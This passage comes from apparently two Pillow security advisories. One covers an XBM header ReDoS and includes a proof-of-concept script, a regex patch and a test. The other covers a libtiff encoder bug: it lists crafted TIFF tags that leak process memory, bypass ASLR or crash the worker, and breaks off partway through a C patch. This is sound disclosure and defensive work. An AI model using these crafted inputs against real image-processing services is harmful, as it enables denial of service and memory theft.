repro is a single Python script. It uses the installed Pillow through the public Image.open() API and needs no rebuild.

Each input is the 512-byte header from Details: four #define lines with k spaces after #define, lines ending in \r, k \r bytes after _y_hot 1, padding with A up to the 512 bytes that _open() reads. The only thing that changes between inputs is the tail: _bits[] (valid) or _bits (the final literal can never match).

  1. Control. Opens the k = 60 header with the tail _bits[]. The regex matches on its first try and Pillow reports XBM (1, 1) in about 50 ms. This shows that the same bytes are only slow when the match has to fail.
  2. Attack. Opens the header with the tail _bits at k = 10, 15, 20 and 25. Each one raises UnidentifiedImageError, after about 0.1 s, 0.75 s, 3.0 s and 8.6 s. The time grows polynomially, not linearly. The k = 60 input from Details, which takes about 6 minutes of CPU, is not run.

Expected output on this commit:

control k=60 '_bits[]': XBM (1, 1) in 0.052s
attack  k=10 '_bits'  : UnidentifiedImageError in 0.105s
attack  k=15 '_bits'  : UnidentifiedImageError in 0.748s
attack  k=20 '_bits'  : UnidentifiedImageError in 3.024s
attack  k=25 '_bits'  : UnidentifiedImageError in 8.561s
BUG

The script prints BUG only when all of these hold:

  • the control header opened as XBM in under 1 s;
  • the k = 25 attack input took more than 2 s;
  • the k = 25 attack input took more than 5 times as long as the k = 15 one, i.e. the cost grows super-linearly in k.

Otherwise it prints OK. With the attached patch applied, every attack input is rejected at once, so the script prints OK.

Suggested fix

The attached patch removes the overlap between [ \t]+ and the quantifier that matches the identifier prefix in xbm_head (src/PIL/XbmImagePlugin.py:32-40), so the whitespace after #define can be consumed in exactly one way and the identifier cannot run across line terminators. It matches the identifier with [^ \t\r\n]* (and [^ \t\r\n_]* in the hotspot group, which keeps the existing "no underscore before _x_hot/_y_hot" behaviour); the remaining quantifier pairs are then either over disjoint character classes or reduce to a single linear rescan of at most 512 bytes:

 xbm_head = re.compile(
-    rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
-    b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
+    rb"\s*#define[ \t]+[^ \t\r\n]*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n]*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
     b"(?P<hotspot>"
-    b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
-    b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
     b")?"
     rb"[\000-\377]*_bits\[]"
 )

This mirrors the PdfParser fix for CVE-2021-25292. The patch also adds a test_redos case to Tests/test_file_xbm.py, in the style of the one in Tests/test_file_pdf.py: it builds the k = 60 header from Details and, under @timeout_unless_slower_valgrind(1), expects XbmImageFile to raise SyntaxError. With the patch applied to a clean checkout and rebuilt, the reproducer prints OK and the existing Tests/test_file_xbm.py (including hopper.xbm, hopper_underscore.xbm and the hotspot round-trip) still passes. The change does reject headers whose identifier contains whitespace (#define foo bar_width 16), which is not valid C and is not produced by Pillow's own XBM writer.

The patch

Use more specific regex chars in the XBM header regex to prevent ReDoS in Image.open() on a crafted 512-byte header

Applies to src/PIL/XbmImagePlugin.py at the commit above.

diff --git a/Tests/test_file_xbm.py b/Tests/test_file_xbm.py
index 1988c417f..67236c795 100644
--- a/Tests/test_file_xbm.py
+++ b/Tests/test_file_xbm.py
@@ -6,7 +6,7 @@ import pytest
 
 from PIL import Image, XbmImagePlugin
 
-from .helper import hopper
+from .helper import hopper, timeout_unless_slower_valgrind
 
 TYPE_CHECKING = False
 if TYPE_CHECKING:
@@ -91,3 +91,17 @@ def test_hotspot(tmp_path: Path) -> None:
 
     with Image.open(out) as reloaded:
         assert reloaded.info["hotspot"] == hotspot
+
+
+@timeout_unless_slower_valgrind(1)
+def test_redos() -> None:
+    k = 60
+    malicious = b"#define" + b" " * k + b"_width 1\r"
+    malicious += b"#define" + b" " * k + b"_height 1\r"
+    malicious += b"#define" + b" " * k + b"_x_hot 1\r"
+    malicious += b"#define" + b" " * k + b"_y_hot 1" + b"\r" * k + b"_bits"
+    malicious += b"A" * (512 - len(malicious))
+
+    # The important thing is it doesn't timeout, cause a ReDoS
+    with pytest.raises(SyntaxError):
+        XbmImagePlugin.XbmImageFile(BytesIO(malicious))
diff --git a/src/PIL/XbmImagePlugin.py b/src/PIL/XbmImagePlugin.py
index 95729d73d..7435d20f2 100644
--- a/src/PIL/XbmImagePlugin.py
+++ b/src/PIL/XbmImagePlugin.py
@@ -29,12 +29,14 @@ if TYPE_CHECKING:
     from typing import IO
 
 # XBM header
+# The identifier before each suffix cannot contain whitespace, so that it
+# cannot overlap with the preceding [ \t]+ and cause a ReDoS
 xbm_head = re.compile(
-    rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
-    b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
+    rb"\s*#define[ \t]+[^ \t\r\n]*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n]*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
     b"(?P<hotspot>"
-    b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
-    b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
     b")?"
     rb"[\000-\377]*_bits\[]"
 )
The reproducer
Reproducer — repro, 1,138 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open()

##### on a <=512-byte stream. Prints BUG if a failing 512-byte header takes
##### super-linearly long while the same-shaped valid header opens instantly.
import io, time
from PIL import Image

def hdr(k, tail):
    d = b""
    for name in (b"_width 1\r", b"_height 1\r", b"_x_hot 1\r", b"_y_hot 1"):
        d += b"#define" + b" " * k + name
    d += b"\r" * k + tail
    return d + b"A" * (512 - len(d))

def timed(data):
    s = time.perf_counter()
    try:
        im = Image.open(io.BytesIO(data)); r = f"{im.format} {im.size}"
    except Exception as e:
        r = type(e).__name__
    return r, time.perf_counter() - s

ctl, tc = timed(hdr(60, b"_bits[]"))
print(f"control k=60 '_bits[]': {ctl} in {tc:.3f}s")
ts = {}
for k in (10, 15, 20, 25):
    r, ts[k] = timed(hdr(k, b"_bits"))
    print(f"attack  k={k:2d} '_bits'  : {r} in {ts[k]:.3f}s", flush=True)

##### k=60 (fits easily in 512 bytes) runs for minutes; not executed here.
bug = ctl.startswith("XBM") and tc < 1 and ts[25] > 2 and ts[25] > 5 * ts[15]
print("BUG" if bug else "OK")

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags

CVE-2026-112902 / GHSA-xvh5-g6gv-559v

More information

Details

============================================================================
Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
Location: src/encode.c:1014  in PyImaging_LibTiffEncoderNew()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary Image.open() followed by a bare im.save(fp, "TIFF"). The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from _imaging.so's read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.

The bug is in PyImaging_LibTiffEncoderNew (src/encode.c). It decides what arguments to pass to the variadic TIFFSetField() from the shape of the Python value (scalar, tuple or bytes). It assumes its ImagingLibTiffMergeFieldInfo() call defined how libtiff will read them. But TIFFMergeFieldInfo() never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:

  • For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.
  • For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.

Where that unwritten slot points depends on the compiler. In the tested clang build it points into _imaging.so, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with tiffinfo=im.tag_v2, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.

Other branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the bytes, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in a3d45e9cefd0 ("Added custom int and float TIFF tags") and first released in 5.4.0.

Details

PyImaging_LibTiffEncoderNew (src/encode.c:777-1060) chooses the argument
list it hands to the variadic TIFFSetField() from the Python value of each
tag — scalar vs. tuple vs. bytes, and a type that is either autodetected or
copied from the source file's IFD — and assumes that its own
ImagingLibTiffMergeFieldInfo() registration defines how libtiff will read the
va_list. It does not: libtiff keeps its built-in definition for every tag it
already knows, and core tags are never registered at all. libtiff therefore
consumes the varargs as (count, pointer), (pointer) or three pointers
according to its field table, whatever Pillow actually pushed. The encoder
never consults that table (TIFFFindField / TIFFFieldPassCount /
TIFFFieldWriteCount / TIFFFieldDataType) before the call.

The most severe instance, and the one the attached reproducer exercises: when a
TIFF is re-saved through the libtiff writer, every tag of the source IFD that
Pillow does not recognise is forwarded to libtiff with TIFFSetField(). A
count-1 integer entry is passed as a single scalar vararg. If libtiff's own
field table defines that tag number as an array field, libtiff consumes the
varargs as (count, pointer) or (pointer) instead, so the attacker's integer
becomes either the number of bytes to copy from a never-written vararg slot, or
the source address itself. The same mismatch is reachable through the typed
tuple branches (tuple length consumed as a pointer for fixed-count built-in
tags such as CFARepeatPatternDim, even when the source file is well-formed),
the bytes, TIFF_RATIONAL-tuple and core-tag branches of the same loop;
those are listed
under Other branches with the same defect below and need to be covered by the
same fix.

A 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry
50740 / LONG / count 1 / value 4096 — DNGPrivateData) opened with
Image.open() and saved with a bare im.save(buf, "TIFF") produces a 4296-byte
output whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning
/proc/self/mem finds them in the read-only data segment of _imaging.so.
Changing the extra entry to 50829 / LONG / 1 / 64 (ActiveArea) makes the same
two calls segfault in memcpy(dst, src=0x40, n=16) under
ImagingLibTiffSetField ← PyImaging_LibTiffEncoderNew. An ASan build of the
extensions reports READ of size 4096 in memcpy called from
src/encode.c:1014 for the first input.

Code path

_save copies all tags of the opened image into the libtiff attribute list.
For a tag that is neither in LIBTIFF_CORE nor in TiffTags.TAGS_V2, no type
is recorded, so the value goes through untyped:


##### src/PIL/TiffImagePlugin.py:1782
supplied_tags = {**legacy_ifd, **getattr(im, "tag_v2", {})}
…

##### :1959-1982
for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):
    if tag not in TiffTags.LIBTIFF_CORE:
        …
        elif isinstance(value, (int, float, str, bytes)) or …:
            type = TiffTags.lookup(tag).type      # None for 50740, 50829, …
            if type:
                types[tag] = type
    if tag not in atts and tag not in blocklist:
        …
            atts[tag] = value                     # plain int 4096

compression defaults to the source image's im.info["compression"]
(TiffImagePlugin.py:1731-1746), so a compressed source selects the libtiff
writer without the application asking for it.

In the encoder the untyped int is autodetected as TIFF_LONG
(src/encode.c:805-815), the tag is "registered" as a scalar custom field, and
then set with one 32-bit vararg:

// src/encode.c:844      (is_var_length = 0 → writecount 1, passcount 0)
if (ImagingLibTiffMergeFieldInfo(&encoder->state, type, key_int, is_var_length)) {
    … continue;
}
…
// src/encode.c:1013-1016
} else if (type == TIFF_LONG || type == TIFF_IFD) {
    status = ImagingLibTiffSetField(
        &encoder->state, (ttag_t)key_int, (UINT32)PyLong_AsLong(value)
    );

The registration does not do what the caller assumes. TIFFMergeFieldInfo()
only adds definitions for tags libtiff does not already know and returns 0
(success) either way, so for tags in libtiff's built-in table the built-in
definition stays in force. Queried against the linked libtiff 4.5.0 after
exactly Pillow's merge call:

50740 DNGPrivateData      type=BYTE   passcount=1 writecount=-1   (unchanged)
50829 ActiveArea          type=LONG   passcount=0 writecount=4    (unchanged)
65000 CustomField         type=LONG   passcount=0 writecount=1    (Pillow's definition, tag was unknown)

libtiff's setter for FIELD_CUSTOM tags then interprets the va_list
according to its definition: for passcount=1 it reads va_arg(ap, int) as
the element count — the attacker's 4096 — allocates count * size bytes and
memcpys that many bytes from va_arg(ap, void *), a slot
PyImaging_LibTiffEncoderNew never wrote. On x86-64 that slot is register
rcx; in this build it holds a pointer into _imaging.so's .rodata, so the
copy succeeds deterministically (a value of 2 000 000 also succeeds and yields a
2 000 200-byte output). TIFFWriteDirectory writes the copied bytes into the
output file as the tag's value. For fixed-count array fields (passcount=0,
writecount=4 for ActiveArea) there is no count argument, so the attacker's
scalar is consumed as the void * source and 16 bytes are read from address
64 → SIGSEGV.

Tags in libtiff 4.5's built-in table that Pillow forwards untyped and that take
the (count, pointer) form include DNGPrivateData 50740, CFAPattern 33422,
CFAPlaneColor 50710, LinearizationTable 50712, BlackLevel 50714, WhiteLevel
50717, ColorMatrix1/2 50721/50722, AsShotNeutral 50728, OriginalRawFileName/Data
50827/50828, AsShotICCProfile 50831, CurrentICCProfile 50833. Fixed-count ones
(pointer only → crash) include ActiveArea 50829, DNGVersion/DNGBackwardVersion
50706/50707, DefaultScale/DefaultCropOrigin/DefaultCropSize 50718–50720,
AsShotWhiteXY 50729, CFARepeatPatternDim 33421, BlackLevelRepeatDim 50713,
ImageLayer 34732, RawDataUniqueID 50781.

When the application saves with tiffinfo=im.tag_v2 (the documented way to
preserve metadata), the file-declared type is honoured, and a LONG8 entry
reaches the (uint64_t)PyLong_AsLongLong(value) branch at
src/encode.c:1049-1052. For ActiveArea that is a 16-byte read from a full
64-bit attacker-chosen address into the output: a source entry
50829 / LONG8 / 1 / <address of a Python bytes object> produced an output
ActiveArea of (b'SECR', b'ET-T', b'OKEN', b'-012') in testing.

The comment above blocklist += at TiffImagePlugin.py:1938-1944 already notes
that array tags with the wrong length "will result in segfaults"; the blocklist
covers only a handful of tags Pillow itself knows, not the ones libtiff knows and
Pillow does not. Forwarding of these tags was introduced in a3d45e9cefd0
("Added custom int and float TIFF tags", 2018-10-25), first released in 5.4.0;
releases 2.0.0–3.0.0 forwarded them as scalars too, until 9fa6634f4
("Partial fix for #​1597") limited _save to LIBTIFF_CORE.

Other branches with the same defect

The scalar-integer branch above is one of several places in the same loop
where the call shape is derived from the Python value rather than from
libtiff's definition. All of the following were confirmed on this commit (stock
build crashes and/or ASan reports, stack always memcpy ← libtiff ← ImagingLibTiffSetField src/libImaging/TiffDecode.c:934 ← PyImaging_LibTiffEncoderNew), and all are reachable from a sub-1 KB crafted
file followed by an ordinary save():

  • Typed tuple → (len, av) for a fixed-count built-in field
    (src/encode.c:904-994, the SHORT/LONG/SBYTE/SSHORT/SLONG/FLOAT/DOUBLE
    tuple branches all call ImagingLibTiffSetField(..., len, av)). For libtiff
    built-in fields with passcount=0 and a fixed writecount —
    CFARepeatPatternDim 33421 (SHORT×2), BlackLevelRepeatDim 50713
    (SHORT×2), ImageLayer 34732 (LONG×2), ActiveArea 50829 (LONG×4),
    MatrixWorldToScreen/Camera 33305/33306 (FLOAT×16) — libtiff takes the
    first vararg as the source pointer, so the tuple length becomes the
    memcpy source address. A perfectly well-formed 206-byte 8×8 PackBits TIFF
    carrying 33421 / SHORT / 2 / (2, 2) re-saved with a bare
    im.save(out, "TIFF") dies with SIGSEGV in memcpy (gdb: rsi = 0x2, the
    tuple length) on every run; so does
    Image.new("L", (8, 8)).save(buf, "TIFF", compression="packbits", tiffinfo={33421: (2, 2)}), and a JPEG whose EXIF carries the tag saved with
    exif=im.getexif() into a compressed TIFF. bytes values for built-in
    fixed-count BYTE tags (e.g. DNGVersion 50706, BYTE×4) crash the same way
    through the (PyBytes_Size, PyBytes_AsString) call at src/encode.c:860-865.
    The mirror image for passcount=1 fields: Photoshop 34377 declared
    SHORT, count 1, value 60000 takes the scalar branch at :1009-1012, libtiff
    reads 60000 as the count and an unpassed vararg as the pointer, and the
    re-save succeeds with a 60162-byte output whose tag 34377 holds 60000 bytes
    of process memory (here C prototype strings from _imaging.so's .rodata).
  • bytes value → single char * (src/encode.c:805-815 autodetects
    bytes as TIFF_ASCII; :1033-1042 passes PyBytes_AsString(value) alone).
    ImageFileDirectory_v2._setitem stores a BYTE-typed entry as bare bytes
    and an ASCII-typed one as str (encoded to bytes by _save), so the
    file's declared type selects this branch.
    • ColorMap (320) declared BYTE with 4 bytes of data in a non-palette
      PackBits TIFF: 320 is in core_tags[], no type is consulted, the value
      skips the 768-tuple TIFFTAG_COLORMAP branch (:871-895) and libtiff reads
      three uint16_t * and copies 1 << BitsPerSample shorts from each — a
      512-byte over-read of the 5-byte Python bytes buffer, then dereference of
      two stale argument registers → SIGSEGV on every run of
      Image.open(f); im.save(out, "TIFF"). COLORMAP is not in _save's
      blocklist.
    • Photoshop (34377) declared ASCII: _save copies value and type
      (TiffImagePlugin.py:1802-1818; only IPTC_NAA_CHUNK has a BYTE/UNDEFINED
      type guard there, from commit 2245df0a — PHOTOSHOP_CHUNK and XMP do
      not). libtiff's definition is BYTE, passcount=1, so the low 32 bits of
      the char * become the byte count for a memcpy from a stale register
      (ASan: READ of size 3518384; stock: SIGSEGV in about half of runs,
      otherwise RuntimeError). ICCProfile (34675) declared ASCII behaves the
      same way via im.info["icc_profile"] → ifd[ICCPROFILE]
      (TiffImagePlugin.py:1822-1824).
  • TIFF_RATIONAL tuple → array with no count (src/encode.c:995-1006;
    compare the TIFF_FLOAT branch at :969-981, which passes len, av).
    • For a private tag (e.g. 50000) Pillow itself registers the field with
      passcount=1 (TiffDecode.c:904-908), so libtiff takes the low 32 bits of
      av as the element count and the next stale vararg as the source:
      heap-buffer-overflow READ of size 119872 … right of 8-byte region under
      ASan (119872 == 4 * low32(av)), SIGSEGV in ~4 of 5 stock runs. Reached by
      a JPEG whose EXIF carries one private RATIONAL×2 tag saved with
      im.save(out, "TIFF", compression="tiff_lzw", exif=im.info["exif"]), or a
      TIFF re-saved with tiffinfo=im.tag_v2 (_setitem auto-types a tuple of
      IFDRational as RATIONAL, TiffImagePlugin.py:689-701; types[tag] = ifd.tagtype[tag] at :1968).
    • For libtiff's built-in fixed-count float tags WhitePoint (318, 2),
      PrimaryChromaticities (319, 6) and YCbCrCoefficients (529, 3), which
      _save forwards from any source TIFF and types RATIONAL via
      TiffTags.lookup, the pointer-only convention happens to match, but
      libtiff copies its fixed count from an array that is only as long as the
      file declared: a PackBits TIFF with PrimaryChromaticities count 1 and a
      bare im.save(out, "TIFF") gives READ of size 24 … right of 4-byte region, and the over-read floats are written to tag 319 of the output.
      REFERENCEBLACKWHITE/TRANSFERFUNCTION are blocklisted at
      TiffImagePlugin.py:1941-1952 for exactly this reason; 318/319/529 are not.
  • Core tag reached as a scalar via a stale file-supplied type. With the
    re-save idiom im.save(out, "TIFF", tiffinfo=im.tag_v2), _save copies
    ifd.tagtype[key] = info.tagtype[key] for every key
    (TiffImagePlugin.py:1768-1776) and later assigns its own values to some of
    the same tags without resetting the type (ifd[COLORMAP] = colormap at
    :1870-1877; likewise BitsPerSample, SamplesPerPixel, ExtraSamples,
    ICCProfile, …). For a 418-byte PackBits palette TIFF whose ColorMap entry
    is declared BYTE, _setitem (:751-770) truncates _save's 768-entry
    palette to a single int (with only a "too many entries" warning), the
    encoder receives (320, 0), autodetects TIFF_LONG, and
    src/encode.c:1013-1016 calls TIFFSetField(TIFFTAG_COLORMAP, (UINT32)0) —
    libtiff reads three uint16_t * and faults at an address ≤ 65280 on every
    run. The stale-tagtype copy is a Python-side hygiene bug in its own right,
    but its memory-safety consequence exists only because the encoder lets a
    non-tuple value reach TIFFSetField(COLORMAP).
Impact

Any service that accepts a TIFF and writes it back out as TIFF through libtiff —
which happens with a plain im.save(fp, "TIFF") whenever the uploaded file is
compressed, or whenever a compression= other than raw is requested — returns
to the uploader, inside one metadata tag of the produced file, an
attacker-chosen number of bytes read from a stale pointer in the worker process,
deterministically and without retries. Which memory that is depends on the
compiler's register allocation for PyImaging_LibTiffEncoderNew: in this clang
build the pointer is _imaging.so + 0x1588, so a request for 262 144 bytes
(which succeeded every time in testing, as did 2 000 000) covers the
extension's .rodata, .data.rel.ro/GOT and .data and returned 2 800+
resolved pointers into libpython, libc, libtiff, libjpeg and others — a complete
ASLR bypass for chaining with any other memory bug; a gcc build of the same
source left a different, unrelated address in that slot. The fixed-count
variant kills the worker process with SIGSEGV from a 181-byte upload on every
request. With tiffinfo=im.tag_v2 the source
address is fully attacker-chosen (16-byte arbitrary read into the output for
ActiveArea, or a crash). No non-default Pillow setting is involved; the only
precondition is TIFF-to-TIFF re-encoding.

The other branches add further deterministic process-kill inputs (BYTE-typed
ColorMap in any RGB or palette TIFF; thumbnail() keeps tag_v2, so
open→thumbnail→save-as-TIFF is affected too) and extend the reach to
JPEG/PNG/WebP uploads whose EXIF is preserved with exif= when converting to
libtiff-compressed TIFF. All the memory errors are reads; libtiff sizes its
destination buffers with the same count it copies, so no out-of-bounds write
was found.

Reproducing

repro is one Python script, run against the stock build with the installed PIL. It needs no compiler and no extra files.

upload(tag, value) has Pillow write a 16×16 red RGB image as an LZW-compressed TIFF, then appends a new IFD holding the same entries plus one extra <tag> / LONG / count 1 / value (kept in tag order) and points the header at it — a 356-byte input on this tree. The source is LZW-compressed on purpose. A bare im.save(out, "TIFF") keeps the source's compression, so the save goes through the libtiff writer even though the application passes no arguments. resave() is the whole "application": Image.open(BytesIO(src)); im.save(out, "TIFF").

The script runs three cases:

  1. Control, tag 65000 = 4096. libtiff does not know this tag, so the file is re-saved correctly and the output tag reads back as the integer 4096. This is what should happen to every tag.
  2. Leak, DNGPrivateData 50740 = 65536. libtiff's built-in definition of this tag is a counted BYTE array. It reads Pillow's single scalar as the count and takes the data pointer from a vararg slot Pillow never wrote. The output tag comes back as bytes of length 65536 that do not occur in the input. The script prints the first 32 of them and the file offset at which they occur in _imaging.so on disk. On this build they always do (offset 0x57588): the stale pointer aims into the extension's read-only data.
  3. Wild read, ActiveArea 50829 = 64. libtiff defines this tag as a fixed LONG[4] array with no count, so it uses the scalar 64 as the source address. The script re-runs itself as a child process (repro child, core dumps disabled) to do this re-save, and the child exits with -11, meaning SIGSEGV.

Expected output on the affected tree:

control  tag 65000=4096 -> 4096
leak     tag 50740=65536 from a 356-byte upload -> 65536 bytes not present in input, head a661fcffc661fcff3360fcff7b61fcffd361fcff085ffcffe061fcff3360fcff
         leaked bytes found in _imaging.so at file offset 0x57588
crash    tag 50829=64 -> child exit -11 (SIGSEGV)
BUG

The script prints BUG if case 2 leaks or case 3 crashes. Both are deterministic on this build. A fixed Pillow prints OK: the tag does not come back as 65536 bytes of foreign data (it reads back as None, or save() raises ValueError/RuntimeError, which the script catches), and the child exits with something other than SIGSEGV (0, or 1 if save() raised).

The other branches can be checked by hand on the stock build in the same way
(each as Image.open(f); im.save(BytesIO(), "TIFF") in a child process):
a PackBits RGB TIFF with an extra IFD entry 320 / BYTE / 4 / "ABCD" →
SIGSEGV every run; a PackBits palette TIFF whose ColorMap is 320 / BYTE / 2
saved with tiffinfo=im.tag_v2 → SIGSEGV every run; a Pillow-written JPEG
whose EXIF holds tag 50000 = RATIONAL×2 saved with
compression="tiff_lzw", exif=im.info["exif"] → SIGSEGV in most runs,
RuntimeError ("Failed to allocate memory for custom tag binary object
(-N elements of 4 bytes each)") in the rest.

Suggested fix

The encoder must not guess the calling convention; it has to ask libtiff what
the tag's effective definition is after ImagingLibTiffMergeFieldInfo and
marshal accordingly, or refuse. The attached patch does this for non-core tags:

  • a new ImagingLibTiffFindField() in src/libImaging/TiffDecode.c (declared
    in TiffDecode.h, next to the other libtiff wrappers) returns libtiff's
    TIFFFindField type, passcount and writecount for a tag;
  • in PyImaging_LibTiffEncoderNew (src/encode.c), for a non-core tag that
    libtiff already knows, Pillow adopts libtiff's type when it has none of its
    own, and after ImagingLibTiffMergeFieldInfo a new tiff_field_matches()
    checks the value against libtiff's definition: a scalar only for a
    single-value field whose C argument type (int / uint64_t / double /
    char *) matches, an array only with libtiff's element size and, for
    fixed-count fields, exactly writecount elements. Anything else raises
    ValueError("Tag value does not match libtiff field definition") instead of
    reaching TIFFSetField — this covers the reproducer's DNGPrivateData and
    ActiveArea inputs, ASCII-typed Photoshop, short PrimaryChromaticities and the
    LONG8 tiffinfo= variant;
  • every tuple/bytes branch now goes through set_tiff_array_field(), which
    passes len only when the field has passcount set; this also fixes the
    TIFF_RATIONAL branch, which never passed a count (and extends it to
    TIFF_SRATIONAL);
  • TIFF_UNDEFINED fields are registered as variable-length, matching how their
    bytes values are passed;
  • Tests/test_file_libtiff.py gains a regression test (scalar DNGPrivateData,
    scalar and 2-tuple ActiveArea rejected; well-formed values round-trip).

Core tags and tags libtiff does not know keep their current behaviour. With the
patch applied to a clean checkout and rebuilt, the reproducer no longer
triggers and the test suite passes. It is not a complete fix, however: the
whole check sits inside if (!is_core_tag), so the BYTE-typed ColorMap variant
stays open. The PackBits RGB TIFF carrying 320 / BYTE / 4, re-saved with a
bare save(), no longer segfaults at this point but writes 1536 bytes —
over-read from the 5-byte bytes object and two stale varargs, including 22
live heap pointers — into the output ColorMap, which is still a disclosure.
Before merging, it needs a guard that accepts TIFFTAG_COLORMAP only through
the existing 768-tuple branch, never through the scalar or bytes branches,
and ideally the same shape check for the other core tags libtiff special-cases
in _TIFFVSetField (YCbCrSubsampling 530, TransferFunction 301,
ReferenceBlackWhite 532).

Narrower Python-side mitigations in _save close individual entry points but
not the class, and are worth adding alongside the C-side check: drop tags
with TiffTags.lookup(tag).type is None from supplied_tags (closes the Image.open()→save() path shown here but not
tiffinfo= callers); remove COLORMAP from supplied_tags next to
EXIFIFD/SAMPLEFORMAT and extend the IPTC_NAA_CHUNK BYTE/UNDEFINED type
guard to PHOTOSHOP_CHUNK and XMP; add 318/319/529 to the blocklist next to
REFERENCEBLACKWHITE; and have _save ifd.tagtype.pop(tag, None) before
assigning its own ColorMap/BitsPerSample/ICCProfile/… values so a
tiffinfo=-imported type cannot reshape them. The C-side check is the fix to
rely on.

The patch

Pass TIFF tag values to libtiff according to its own field definition, and raise ValueError when they do not fit

Applies to src/encode.c at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..adc4633e4 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -395,6 +395,43 @@ class TestFileLibTiff(LibTiffTestCase):
         with pytest.raises(ValueError, match="Incorrect tag value type"):
             im.save(out, tiffinfo=ifd)
 
+    @pytest.mark.parametrize(
+        "tag, value",
+        (
+            # DNGPrivateData is a BYTE array with a count to libtiff
+            (50740, 4096),
+            # ActiveArea is a LONG array of four values to libtiff
+            (50829, 64),
+            (50829, (0, 0)),
+        ),
+    )
+    def test_libtiff_field_definition(
+        self, tag: int, value: Any, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+    ) -> None:
+        monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
+
+        ifd = TiffImagePlugin.ImageFileDirectory_v2()
+        ifd[tag] = value
+        ifd.tagtype[tag] = TiffTags.LONG
+
+        out = tmp_path / "temp.tif"
+        im = Image.new("L", (1, 1))
+        with pytest.raises(ValueError, match="libtiff field definition"):
+            im.save(out, tiffinfo=ifd)
+
+        # Values that match the libtiff definition are written
+        ifd = TiffImagePlugin.ImageFileDirectory_v2()
+        ifd[50740] = b"private"
+        ifd.tagtype[50740] = TiffTags.BYTE
+        ifd[50829] = (0, 0, 1, 1)
+        ifd.tagtype[50829] = TiffTags.LONG
+        im.save(out, tiffinfo=ifd)
+
+        with Image.open(out) as reloaded:
+            assert isinstance(reloaded, TiffImagePlugin.TiffImageFile)
+            assert reloaded.tag_v2[50740] == b"private"
+            assert reloaded.tag_v2[50829] == (0, 0, 1, 1)
+
     def test_inknames_tag(
         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
     ) -> None:
diff --git a/src/encode.c b/src/encode.c
index 9e19e9002..cbbd09f0d 100644
--- a/src/encode.c
+++ b/src/encode.c
@@ -675,6 +675,106 @@ PyImaging_ZipEncoderNew(PyObject *self, PyObject *args) {
 
 #include <string.h>
 
+/* C type that TIFFSetField reads from its arguments for a single value of
+   the given type: int, uint64_t, double or char * */
+static int
+tiff_scalar_arg_type(TIFFDataType type) {
+    switch (type) {
+        case TIFF_BYTE:
+        case TIFF_SBYTE:
+        case TIFF_UNDEFINED:
+        case TIFF_SHORT:
+        case TIFF_SSHORT:
+        case TIFF_LONG:
+        case TIFF_SLONG:
+        case TIFF_IFD:
+            return 1;
+        case TIFF_LONG8:
+        case TIFF_SLONG8:
+        case TIFF_IFD8:
+            return 2;
